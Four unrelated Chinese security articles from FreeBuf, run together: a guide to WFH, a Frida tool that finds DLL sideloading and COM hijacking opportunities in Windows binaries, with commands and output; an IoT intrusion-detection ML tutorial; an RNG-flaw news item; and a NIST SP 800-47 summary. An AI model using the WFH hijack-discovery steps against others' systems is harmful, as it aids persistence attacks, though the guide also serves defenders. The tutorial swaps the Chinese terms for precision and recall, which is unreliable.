如何使用WFH搜索Windows可执行程序中的常见漏洞或功能

关于WFH
WFH,全名为Windows Feature Hunter,即Windows功能搜索工具,该工具基于Python开发,使用Frida实现其功能,可以帮助广大研究人员搜索和识别Windows可执行程序中的常见安全漏洞以及功能。当前版本的WFH能够自动识别动态链接库DLL中潜在的侧加载问题以及组件对象模型COM中劫持攻击的实现可能。

DLL侧加载利用勒Windows中WinSXS程序集来从SXS列表中加载恶意DLL文件。COM劫持将允许攻击者置入恶意代码,而这些代码将能够通过劫持COM引用和关系代替合法软件的执行。

WFH可以输出潜在的安全漏洞,并将目标Windows可执行文件中的潜在漏洞相关信息写入至CSV文件中。

工具安装
首先, 广大研究人员需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/ConsciousHacker/WFH
然后运行下列命令安装和配置相关依赖组件:

pip install -r requirements.txt
工具帮助信息
PS C:\Tools\WFH > python .\wfh.py -h

usage: wfh.py [-h] -t T [T …] -m {dll,com} [-v] [-timeout TIMEOUT]

Windows Feature Hunter

optional arguments:

-h, –help show this help message and exit

-t T [T …], -targets T [T …]

list of target windows executables

-m {dll,com}, -mode {dll,com}

vulnerabilities to potentially identify

-v, -verbose verbose output from Frida instrumentation

-timeout TIMEOUT timeout value for Frida instrumentation

EXAMPLE USAGE

NOTE: It is recommended to copy target binaries to the same directory as wfh for identifying DLL Sideloading

DLL Sideloading Identification (Single): python wfh.py -t .\mspaint.exe -m dll

DLL Sideloading Identification (Verbose): python wfh.py -t .\mspaint.exe -m dll -v

DLL Sideloading Identification (Timeout 30s): python wfh.py -t .\mspaint.exe -m dll -timeout 30

DLL Sideloading Identification (Wildcard): python wfh.py -t * -m dll

DLL Sideloading Identification (List): python wfh.py -t .\mspaint.exe .\charmap.exe -m dll

COM Hijacking Identification (Single): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com

COM Hijacking Identification (Verbose): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com -v

COM Hijacking Identification (Timeout 60s): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com -timeout 60

COM Hijacking Identification (Wildcard): python wfh.py -t * -m com -v

COM Hijacking Identification (List): python wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” “C:\Windows\System32\notepad.exe” -m com -v
工具使用
DLL侧加载识别
首先,我们需要将需要分析的代码拷贝至WFH工具所在的目录下,然后按照下列命令执行扫描分析:

PS C:\Tools\WFH > copy C:\Windows\System32\mspaint.exe .

PS C:\Tools\WFH > copy C:\Windows\System32\charmap.exe .

PS C:\Tools\WFH > dir

Directory: C:\Tools\WFH

Mode LastWriteTime Length Name

—- ————- —— —-

d—– 5/14/2021 2:12 PM .vscode

-a—- 5/6/2021 2:39 PM 1928 .gitignore

-a—- 12/7/2019 2:09 AM 198656 charmap.exe

-a—- 5/18/2021 7:39 AM 6603 loadlibrary.js

-a—- 4/7/2021 12:48 PM 988160 mspaint.exe

-a—- 5/18/2021 7:53 AM 8705 README.md

-a—- 5/17/2021 11:27 AM 5948 registry.js

-a—- 5/6/2021 2:41 PM 11 requirements.txt

-a—- 5/18/2021 8:35 AM 10623 wfh.py
接下来,我们就可以使用WFH来对目标代码进行分析,并尝试识别其中的DLL侧加载机会:

PS C:\Tools\WFH > python .\wfh.py -t * -m dll

==================================================

Running Frida against charmap.exe

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to charmap.exe-raw.log

[*] Writing Potential DLL Sideloading to charmap.exe-sideload.log

————————————————–

==================================================

Running Frida against mspaint.exe

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to mspaint.exe-raw.log

[*] Writing Potential DLL Sideloading to mspaint.exe-sideload.log

————————————————–

==================================================

[*] Writing dll results to dll_results.csv

PS C:\Tools\WFH > type .\dll_results.csv

Executable,WinAPI,DLL,EntryPoint / WinAPI Args

charmap.exe,LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

charmap.exe,LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

mspaint.exe,LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

mspaint.exe,GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

mspaint.exe,LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

mspaint.exe,LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE
如果你想让WFH输出更多详细内容,可以使用“-v”参数开启Verbose模式。此时将能够查看Windows API调用的详细情况:

PS C:\Tools\WFH > python .\wfh.py -t * -m dll -v

==================================================

Running Frida against charmap.exe

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryW,LPCWSTR: MSFTEDIT.DLL’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE’}

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to charmap.exe-raw.log

[*] Writing Potential DLL Sideloading to charmap.exe-sideload.log

————————————————–

==================================================

Running Frida against mspaint.exe

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE’}

{‘type’: ‘send’, ‘payload’: ‘GetProcAddress,hModule : C:\\WINDOWS\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\\gdiplus.dll, LPCSTR: GdiplusStartup’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryW,LPCWSTR: MSFTEDIT.DLL’}

{‘type’: ‘send’, ‘payload’: ‘LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE’}

————————————————–

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : gdiplus.dll, dwFlags : NONE

[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.789_none_faf0a7e97612e7bb\gdiplus.dll, LPCSTR: GdiplusStartup

[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: MSFTEDIT.DLL

[+] Potential DllMain Sideloading: LoadLibraryExW,LPCWSTR : MSFTEDIT.DLL, dwFlags : NONE

[*] Writing raw Frida instrumentation to mspaint.exe-raw.log

[*] Writing Potential DLL Sideloading to mspaint.exe-sideload.log

————————————————–

==================================================

[*] Writing dll results to dll_results.csv
COM劫持识别
PS C:\Tools\WFH > python .\wfh.py -t “C:\Program Files\Internet Explorer\iexplore.exe” -m com

==================================================

Running Frida against C:\Program Files\Internet Explorer\iexplore.exe

————————————————–

[+] Potential COM Hijack: Path : HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\InProcServer*32,lpValueName : null,Type : REG_EXPAND_SZ, Value : %SystemRoot%\system32\Windows.Storage.dll

[+] Potential COM Hijack: Path : HKEY_CLASSES_ROOT\CLSID\{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}\InProcServer*32,lpValueName : null,Type : REG_SZ, Value : C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.62\BHO\ie_to_edge_bho_64.dll

[*] Writing raw Frida instrumentation to .\iexplore.exe-raw.log

[*] Writing Potential COM Hijack to .\iexplore.exe-comhijack.log

————————————————–

==================================================

[*] Writing dll results to comhijack_results.csv
工具使用样例
原生Windows签名代码
将所有的原生Windows签名代码拷贝至WFH脚本所在目录:

Get-ChildItem c:\ -File | ForEach-Object { if($_ -match ‘.+?exe$’) {Get-AuthenticodeSignature $_.fullname} } | where {$_.IsOSBinary} | ForEach-Object {Copy-Item $_.path . }
搜索DLL侧加载机会
python wfh.py -t * -m dll
搜索COM劫持机会
python wfh.py -t * -m com
项目地址
WFH:【GitHub传送门】

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

利用AI检测IoT恶意流量

前言
目前大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞(如:心脏滴血、破壳等漏洞)一旦被利用,可导致设备被控、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测,希望师傅们可以从中了解AI技术应用于安全领域的典型流程,包括数据预处理、数据转换、交叉验证等,同时提升对物联网安全的新的认识。

数据集
本次用到的数据集是UNSW-NB15,这是一个基于物联网的网络流量数据集,由新南威尔士大学堪培拉网络靶场实验室的 IXIA PerfectStorm工具创建,用于生成真实现代正常活动和合成当代攻击行为的混合数据集。 它们使用tcpdump 工具捕获 100 GB 的原始流量(例如 Pcap 文件)。

image.png

该数据集有九种类型的攻击,即 Fuzzers、Analysis、Backdoors、DoS、Exploits、Generic、Reconnaissance、Shellcode 和 Worms,当然为了方便大家使用,已经做了整理,把特征、标签都统计到了csv文件里。

如果希望详细了解该数据集的信息的话,可以参考[2][3][4]论文

该数据集中的一部分被做为训练集和测试集,即 UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv。训练集中的记录数为 175,341 条记录,测试集中的记录数为 82,332 条记录,分别来自不同攻击类型、恶意和正常数据。

数据预处理
导入所需库文件

image.png

数据集中的数据包括9种攻击类型,分别是Fuzzers, Analysis, Backdoors, DoS, Exploits, Generic, Reconnaissance, Shellcode和Worms。在csv文件最后的一列是标签,0代表郑,1代表攻击

加载训练数据UNSW_NB15_training.csv,检查前5行

image.png

可以看到前5行的记录都是正常的

image.png

加载数据后我们首先检测是否存在缺失值

image.png

面对存在缺失值的情况,最简单的方法就是直接启用包含缺失值的整行和整列

image.png

然后看看数据是否平衡,一方面是看9种攻击类型是否平滑(y1指代这方面的标签),一方面是看正常和恶意的数据量是否平衡(y2指代这方面的标签)

image.png

结果如下

image.png

可以看到数据集并不平滑,不过并不严重,我们继续往下分析

本来是需要手动拆分训练集和测试集的,不过UNSW_NB15已经拆分好了,比率为7:3

训练集和测试集分别在UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv

如果需要手动拆分的话,使用下面的代码就可以了

image.png

我们加载测试集供后续使用

image.png

数据转换
接下来需要转换数据

首先需要确定哪些列是分类数据(categorical),哪些列是数值数据(numerical)(分类数据也叫qualitative data或是Yes/No data,是定性的,而数值数据是定量的)image.png

分别将其打印image.png

对于分类数据应用OneHotEncoder,将其编码为独热数值数组

对于数值数据应用StandardScaler,通过去除均值和缩放到单位方差来标准化

构造ColumnTransformer对象,在X_train上进行fit即可

image.png

每个transformer分别转换x,将结果拼接起来image.png

对测试集也进行同样的处理image.png

转换后的数据不再是dataframe结构,而是类似于数组的结构image.png

我们同样还需要转换y1,y1中一共有9类image.png

我们直接用LabelEncoder就可以了,其用于规范化标签,使处理对象仅包含0和类别数-1 之间的值image.png

截止目前,数据部分已经处理完成了,接下来就是训练模型了

交叉验证
我们训练模型后,会使用5折交叉验证(cross validation,CV)进行验证,评估模型的指标包括准确率、准确率、召回率、F1 分数、ROC 的 AUC 值;然后使用测试集评估模型看看效果如何

我们以逻辑回归分类器为例image.png

查看交叉验证结果image.png

因为是5折交叉验证,所以每个指标都有5组数据,基本上我们会使用平均值来衡量校验验证的评估结果

比如打印出平均的准确率image.png

模型测试
在测试集上进行测试image.png

结果如下image.png

precision是精确率,也称作查全率,等于tp/(tp+fp);这是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本

recall是查准率,也称召回率,等于tp/(tp+fn);这是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了

从计算公式可以看出,其实就是分母不同,一个分母是预测为正的样本数,另一个是原来样本中所有的正样本数

如果看单个指标都过于片面,可以通过f1分数来评估模型性能,f1是recall和precision的加权平均,在上面可以看到在0.64左右

其他机器学习方法
在sklearn已经实现了很多机器学习模型,我们只需要一条代码就可以换模型,除了逻辑回归之外,还可以试试决策树和随机森林image.png

打印出模型的超参数image.png

然后重复之前的步骤,来看看结果如何image.png

可以看到,随机森林的效果是相对而言比较好的

多层感知器
以上三个分类器都属于传统的机器学习方法,那么接着我们试试MLP,这是一种前向结构的神经网络。image.png

结果如下image.png

把这四种分类器放在一起看看哪种效果更好image.png

可以看到随机森林的效果还是最好的。这也给我们一个提示,虽然现在深度学习、神经网络

是AI的最火热的技术,但是这并不意味着在所有任务上都是万能的,它们更大的优势是在处理海量数据、复杂任务上,对于一些基础的任务,可能传统的机器学习方法会有更好的效果。

相关实验:机器学习之RF

参考
1.https://www.unsw.adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-NB15-Datasets/

2.UNSW-NB15: a comprehensive data set for network intrusion detection systems (UNSW-NB15 network data set).

3.The evaluation of Network Anomaly Detection Systems: Statistical analysis of the UNSW-NB15 dataset and the comparison with the KDD99 dataset

4.Novel geometric area analysis technique for anomaly detection using trapezoidal area estimation on large-scale networks

5.http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919390470911802.pdf

6.《机器学习》

本文作者:蚁景科技, 转载请注明来自FreeBuf.COM

严重的随机数生成器漏洞披露,数十亿IoT设备受影响

研究人员披露了数十亿物联网(IoT)设备中使用的随机数生成器严重漏洞,这意味着大量用户面临潜在攻击风险。

网络安全组织Bishop Fox的研究人员Dan Petro和Allan Cecil在上周发表的一项分析中表示:

“事实证明,在物联网设备中,这些’随机’选择的数字并不总是像你希望的那样随机,在许多情况下,设备会随机选择0或更弱的加密密钥,这可能导致任何上游服务器出现崩溃,从而面临安全问题。”

随机数生成(RNG)是一个支撑加密应用的关键过程,其中包括密钥生成、随机数和加盐。在传统的操作系统中,RNG是由加密安全伪随机数生成器 (CSPRNG)分化而来,后者使用了高质量种子源中的熵。

在物联网设备中,系统级芯片(SoC)装有一个专门的硬件RNG外设,称为真随机数生成器(TRNG),用于从物理过程或现象中捕获“随机性”。

研究人员指出,当前调用外部设备的方式是不正确的,他们注意到因缺乏对错误代码响应的全面检查,导致产生的随机数不是简单的随机,更糟糕的是可预测的情况,包含部分熵、未初始化的内存,甚至包含纯零的密码密钥泄露。

“RNG外围设备的HAL功能可能因各种原因而失效,但到目前为止最常见的或者说最可利用的设备已经耗尽了熵。硬件RNG外设通过各种方式(如模拟传感器或电磁场读数)从宇宙中提取熵,但并不能够无限供应。”

RNG每秒钟只能产生这么多的随机位。如果在RNG HAL函数没有任何随机数可以给你的时候调用它,它就会失败并返回一个错误代码。因此,如果设备试图过快的获得太多的随机数,调用将失败。

这个是物联网领域的独有的问题。因为物联网设备通常缺乏带有随机性API的操作系统(例如,类似Unix的操作系统中的”/dev/random “或Windows中的BCryptGenRandom),研究人员认为与CSPRNG子系统相关的熵池有更大的好处,从而消除了 “熵源中的任何单点故障”。

虽然这些问题可以通过软件更新来补救,但理想的解决方案是物联网设备制造商和开发人员从一组不同的熵源中生成CSPRNG API,并确保代码不会忽略错误条件,或在没有更多的熵可用时能阻止对RNG的调用。

研究人员强调:“这不是一个简单的漏洞。为了防范这种风险,物联网操作系统中确实需要一个类似CSPRNG的复杂功能设计。”

参考来源
A CriticalRandomNumber Generator Flaw Affects Billions of IoT Devices

数据交换共享安全管理方案 —— NIST SP 800-47干货

一、背景
数据安全是今年的一大热点,稍微了解数据安全的人估计都知道,做数据安全要考虑数据全生命周期,包括数据采集/生成、传输、存储、处理、交换/共享、销毁等阶段的安全。而其中与业务关系最密切的是交换/共享环节,这个环节也是数据发挥价值的关键一环,很多企业由于业务需求,通常需要与一个或多个内部或外部的组织交换/共享数据,当数据从一个组织转移到另一个组织时,交换/共享的数据也需要相同或相似级别的安全保护,如何落实数据交换/共享环节的安全管理,NIST SP 800-47《信息交换安全管理》给出了系统性解决方案。

本文梳理了NIST SP 800-47原文,结合作者对数据安全的理解,将主要内容简明的给大家做个介绍,本文的文档结构未按照原文的文档结构。【注:由于国内对“信息安全”、“数据安全”等术语的定义有不同理解和界定,而SP 800-47里的“information exchange信息交换”实际上主要包含的就是“数据交换”,所以为了便于阅读和理解,后文我将统一用“数据交换”。】

本文的适用对象:需要打破数据孤岛,实现跨组织边界的数据共享与交换,以支持业务目标的组织,以及对本内容感兴趣的朋友。

二、前言
出于各种原因,组织会选择数据交换/共享,例如,内部对内部的数据交换/共享、政府对政府的数据交换/共享、企业对企业的数据交换/共享、政府对企业、政府或企业对服务提供商、政府或企业对个人等的数据共享。当数据从一个系统跨授权边界访问或传递到另一个系统时,需要使用一个或多个协议来指定每个组织的责任、要访问或交换的数据类型和影响级别、如何使用交换数据,以及在交换系统的两端处理、 存储或传输数据时如何保障数据安全。

常见的数据交换/共享场景包括但不限于:

★ 在授权用户之间共享数据和信息;

★ 提供对数据的自定义访问;

★ 合作进行联合项目;

★ 提供完整的、短暂的、间歇性的、永久的或临时的数据交换/共享活动;

★ 通过交换/共享减少数据收集工作量和成本;

★ 提供在线培训;

★ 为关键数据和备份文件提供安全存储。

数据交换/共享活动在为组织带来如:降低运营成本、增强业务能力、提高效率、集中访问数据以减少重复数据集、促进组织间的沟通与合作,加强参与组织之间的联系等益处的同时也会使参与组织面临安全风险,如果数据交换/共享活动没有得到适当的规划与管理,则可能导致数据的机密性、完整性和可用性丢失,危及数据本身及相关的网络和信息系统。类似地,如果其中一方的系统遭到破坏,则交换的数据同样可能会受到损害,且与系统相连的另一个系统和数据也可能遭到连带破坏。因此,参与组织就交换数据的管理和使用,以及建立并正式发布一项或多项互操作协议来确保数据安全很有必要。

三、数据交换/共享方式方法
3.1 数据交换/共享方式
数据交换的条件至少需要具备三个基本组件:两个端点和一个数据流动信道,数据流动信道可以是专用或租用线路,也可以使用虚拟专用网络 (VPN) 解决方案(例如:IPsec、SSLVPN、L2TP),使用专用电路会更昂贵,但更安全,使用VPN则是较便宜的替代方法,也是常用的通信方案。下图是建立数据交换的两种通信方式:

1628340749_610e820dbe25b5c545563.png!small?1628340750343

数据交换的两个端点/系统之间互连可以在网络级或应用级实现

网络互连:两个或多个网络之间的物理或虚拟通信链接,这些网络由不同的组织运行,或在同一个组织内,但在不同的授权边界内运行。

应用互连:由不同组织或同一组织内,但在不同授权边界内运行的两个或多个应用程序之间的逻辑通信链接,用于交换数据或提供信息服务(例如:身份验证、日志记录)。应用互连包括文件共享服务或应用以及发生在会话层、 表示层或应用层的数据交换源。

3.2 数据交换/共享方法
数据交换的常见方法包括但不限于:电子或数字文件传输、通过便携式存储设备的数据交换、通过电子邮件的数据交换、数据库共享或数据库事务信息交换,以及基于网络或云的服务。

电子或数字文件传输——数据可以通过电子或数字文件传输进行交换,通过文件 传输(通信)协议在两个系统之间传输文件(数据)。各组织需要考虑与使用不同文件传输协议带来的安全风险;文件传输协议包括FTPS、HTTPS和SCP。

便携式存储设备——在某些情况下,可能需要使用便携式存储设备交换数据, 例如可移动磁盘(数字视频光盘 (DVD))或通用串行总线 (USB)等)。组织需要考虑被传输数据的影响级别以及数据将要传输到的系统的影响级别,以确定所交换的数据是否采取了足够的措施。

电子邮件——组织经常通过电子邮件以附件的形式共享数据。组织需要考虑参与组织的电子邮件基础设施的影响级别和已经实施的安全控制,以确定是否实施了足够的控制措施来保护正在交换的数据,例如,在中等影响级别受保护的电子邮件基础设施不足以保护高影响级别的数据。

数据库共享或数据库事务信息交换,包括来自另一个组织的用户对数据的访问。 组织需要考虑的是提供数据访问而不是传输数据的可行性,以减少重复数据集以及数据机密性和完整性损失的风险。

文件共享服务——文件共享服务包括但不限于通过基于 Web 的文件共享或存 储共享数据和访问数据(例如 Drop Box、Google Drive、MS Teams 或 MS One Drive)。使用基于Web的文件共享或存储系统,该系统无法让数据所有者了解服务器所在位置,或对设施、服务器和数据的物理和逻辑访问。

3.3 数据访问或传输
1)当通过系统访问交换数据时,数据本身不会被传输,而是由参与组织的用户访问。通过系统访问交换数据减少了重复数据集的情况以及数据机密性和完整性丢失的风险。与任何形式的系统访问一样,用户可以访问数据资源的程度取决于组织业务以及数据的机密性、完整性和可用性遭到破坏的影响程度。因此,组织可以通过访问控制,从而将用户限制在单个应用、文件或文件位置,并采用特定的策略来管理访问(例如,访问仅限于只读)。其他组织可能会建立更灵活的交换,使用户能够访问多个应用程序、文件或数据库。

2)当通过传输交换数据时,数据会在其他物理位置被复制。数据传输可能会导致数据集重复、数据过时或数据未经授权披露或修改的风险增加。然而,传输的数据可能被要求支持在不同的业务流程、不同的软件中使用同一组数据,或者当通过系统无法访问交换数据时。建议组织将交换的数据限制为仅支持所述业务所需的特定数据,而不是传输整个数据集。参与组织需要考虑丢失所传输数据的机密性和完整性可能造成的影响,以及保护与预期影响级别相称的数据的必要性,无论其物理位置如何。

四、数据交换/共享安全管理
基于风险的数据交换/共享安全管理需要组织层面的治理,以及与风险相称的防护水平来保护正在交换的数据。在任何实际的数据交换之前,组织应制定、记录并传播管理数据交换的策略和流程。本部分主要描述了数据交换/共享安全管理的四个阶段(规划、建立、维护、终止)。各阶段如下图:

1628340790_610e82366514730f246d4.png!small?1628340790943

4.1 规划数据交换/共享
在两个或多个系统之间交换/共享数据的过程始于规划阶段,在该阶段,参与组织完成准备活 动并检查相关的技术、安全和管理问题。规划阶段的目的是确保数据交换/共享过程尽可能高效和安全。本小节讨论规划数据交换/共享的推荐步骤。规划阶段步骤的形式、结构和严格程度取决于交换/共享的类型、要交换/共享的数据的重要程度、参与交换/共享的组织间关系以及数据交换/共享的组织策略和流程。本阶段应完成的内容如下:

1628340817_610e82519da3ea245b778.png!small?1628340818101

4.1.1 步骤一:组建联合规划小组

每个组织都有责任确保其各自系统和数据的安全,并采用事先协调好的方法进行数据交 换/共享,包括在整个交换/共享阶段组织之间应保持定期沟通。因此,各组织需要建立一个由参与组织的代表组成的联合规划小组,其中可能包括相关的管理和技术人员、业务人员、系统所有者、数据所有者、系统安全员、系统管理员、网络管理员和系统安全架构师等。联合规划小组可以是现有工作组的一部分,也可以专门为本次数据交换活动而组建。另外,获得高级领导的承诺和支持很重要。该联合规划小组负责协调规划过程的各个方面,并确保该过程具有明确的方向、明确的职责和充足的资源。规划小组也可以在规划阶段之后保持活跃,作为后续讨论涉及数据交换/共享问题的窗口。

此外,规划小组的成员需要与负责信息技术 (IT) 规划、配置管理和其他与数据交换/共享活动相关的同事进行协调。在大多数情况下,数据交换/共享是每个组织网络的一部分或全部。通过与相关利益攸关方协调数据交换/共享的规划,组织可以降低安全风险、减少冗余并提高效率。

4.1.2 步骤二:定义业务用例

组织共同确定数据交换/共享的目的,确定数据交换/共享将如何支持业务需求,并识别预期成本和风险。定义业务用例是建立数据交换/共享的基础。需要考虑的因素包括:可能的成本(例如人员配备、设备和设施)、预期收益(例如提高效率和集中访问数据)和潜在风险(例如安全、技术、隐私、法律、财务等)。

需要注意的是,可能会有隐私法规或政策对要交换/共享的数据进行限制。可能受到限制的数据包括个人身份信息(如姓名、电话、地址等)或商业机密信息(如承包商投标费率和商业秘密)。每个组织都应该咨询其隐私保护官或法律顾问,以确定参与数据交换的组织是否可以共享、转移或访问要交换的数据。

4.1.3 步骤三:开展安全风险管理

在交换/共享数据之前,每个组织都应确保已对相关系统和数据进行风险评估,并持续开展风险管理,风险管理可参考SP 800-37 《信息系统和组织的风险管理框架:安全和隐私系统生命周期方法》。

4.1.4 步骤四:确定具体的保护要求

联合规划小组确定并审查与数据交换/共享相关的技术、安全和管理问题。审查结果用于制定数据交换/共享安全协议。这些结果也可用于制定建立数据交换/共享的实施计划。

联合规划小组需要审议的问题如下:

适用的法律、法规、政策、标准和指南:参与组织可能会受到安全和隐私要求的约束而影响数据交换/共享。数据交换/共享的参与方有责任确保任何适用的法律、法规、政策、标准和指南得到解决。

风险评估:数据交换/共享的参与方应进行风险评估,确定要交换的数据遭到保密性、完整性和可用性损失后,造成的影响程度,以确保适当的保护级别和所需资源的可用性。发起方在协议中规定对数据的保护要求。如果已经进行了风险评估,联合规划小组需考虑现有结果是否适用,是否需要更新和再评估。

信息安全风险注意事项:

尽量减少交换/共享的数据,以降低数据在授权边界之外丢失机密性和完整性的风险;

如果要交换/共享高价值资产数据,注意考虑额外风险;

考虑数据交换/共享的可用性和弹性要求;

考虑参与组织间的系统互连是否会增加数据和系统的安全风险。

影响级别:分别针对三个安全目标(机密性、完整性和可用性)确定要交换的数据丢失会造成的影响。如果可用性损失的影响很大,但机密性损失的影响低,而完整性损失的影响中等,但可用性损失的影响低,则关于是否以及如何共享数据的决定可能会有所不同。准确识别数据的重要性对于确定数据的保护要求至关重要。

数据交换/共享方法:明确数据交换/共享的方法对确定数据保护要求也是必不可少。

对现有基础设施和运营的影响:确定参与组织当前使用的网络基础设施和系统架构是否足以支持数据交换/共享,或是否需要额外的基础设施组件(例如,通信线路、路由器、交换机)。如果需要其他组件,应确定安装和使用这些组件可能对现有基础架构产生的潜在影响。此外,确定数据交换/共享可能对当前运营产生的潜在影响(例如,数据流量的增加、新的培训要求以及对系统管理、运维的额外要求)。

依赖关系:确定参与数据交换/共享的一个或多个系统是否依赖于本次数据交换/共享活动才能继续运行。如果存在此类依赖关系,需要考虑的控制措施包括应急预案、系统或网络冗余,以及其他弹性需求。

特定硬件要求:确定支持数据交换/共享所需的硬件(例如,路由器、防火墙、交换机、服务器或工作台)。确定现有硬件是否足够?尤其是在预计未来数据增长的情况下,是否需要额外的组件。如果需要新硬件,应选择能够与现有硬件互操作的产品。

特定软件要求:确定支持数据交换/共享所需的软件,包括用于数据交换/共享管理和文件共享服务的软件,以及软件将安装在哪些硬件上(例如,防火墙、服务器、工作台和笔记本电脑)。 确定现有软件是否足够?是否需要额外的软件。如果需要新软件,应选择能够与现有软件互操作的产品。

用户社区:确定能够访问交换/共享数据的用户群组。确定是否要求用户具有特定的就业状况或国籍要求,以及需要何种级别的背景或安全许可。设计一种方法来管理需要访问交换数据(包括用户身份)的用户信息。参与组织使用用户信息来开发和维护一个经批准的访问列表或用户数据库,这些用户有权访问交换/共享的数据。需要的安全措施包括:账户管理、访问控制、身份认证等。

服务和应用程序:确定每个组织作为数据交换/共享的一部分提供的任何信息服务,以及与这些服务相关的应用程序。服务的示例包括电子邮件、安全文件共享服务、身份验证服务和通用计算服务。

角色和职责:确定负责建立、维护或管理数据交换/共享的人员,以及与数据交换/共享有关的具体职责。人员包括项目经理、系统所有者、数据所有者、系统或数据库管理员以及系统安全员。

调度:为参与规划、建立和维护数据交换/共享活动制定一个时间表。同时,确定终止或重新授权交换的时间表和条件。例如,参与组织可能同意每年审查与交换相关的协议,以确定是否仍然需要交换,以及保护要求是否仍然足够。

成本和预算:确定规划、建立和维护互连所需的预期成本。 确定所有相关成本,包括人工、硬件、软件、通信线路、应用程序、设施、物理安全、培训和测试等,制定综合预算并确定如何在各参与数据交换的组织之间分配成本。

数据元素命名:如果数据交换/共享涉及数据库,确定参与组织使用的数据元素命名方案是否兼容,或者是否需要对数据库进行规范化,以便组织可以使用交换的数据。此外,确定如何识别和解决潜在的数据元素命名冲突。

数据所有权:确定交换/共享数据的所有权是否从发送方转移到接收方,或者发送方是否保留所有权,而接收方是保管人。并确定如何存储交换的数据,是否可以重用数据或将数据转移到第三方组织或系统,以及如何在不需要时销毁数据。

安全控制:确定安全控制措施,以保护交换/共享数据和系统处理、存储或传输数据的机密性、完整性和可用性。安全控制措施的制定是基于数据和相关系统的重要程度、组织风险承受能力以及风险评估结果来确定。推荐的安全控制措施如下:

职责分离:确定对数据交换/共享相关人员的管理,并分配相应的职责。可参考的职责分配示例包括审计、管理用户配置文件、管理配置和维护设备。 职责分离降低了单个个人可能对交换的数据,以及处理、存储或传输数据的系统造成损害的风险,无论是意外还是故意。

事件报告和响应:建立流程来报告和响应参与组织的技术或人员检测到的与数据交换有关的安全事件或异常和可疑活动。事件报告程序需符合适用的法律、法规、政策、标准和指南。确定何时以及如何相互通知可能影响数据交换的可疑活动或安全事件。确定需要报告的事件类型和报告中包含的信息,例如事件的原因、受影响的数据或应用,造成的影响。此外,确定需要协调响应的事件类型,并确定如何协调响应活动。建议可制定联合事件响应计划。

应急预案:有必要制定应急预案,以应对可能影响数据交换/共享的灾难或破坏性突发事件,尤其是在交换/共享具有中等或高影响数据的情况下。 组织决定如何相互通知此类突发事件、各组织将相互帮助的程度以及提供援助的条件。确定紧急联络点、确定是否将冗余合并到支持数据交换/共享的组件中,包括冗余互连点,以及如何检索备份数据。协调应急响应培训、测试和演习。

数据备份:确定交换/共享数据的备份和存储要求。如果需要备份,应确定需要备份的信息类型、备份频率(例如,每天、每周或每月)以及负责备份的组织。 此外,确定如何执行备份以及如何将备份与应急预案流程相关联。

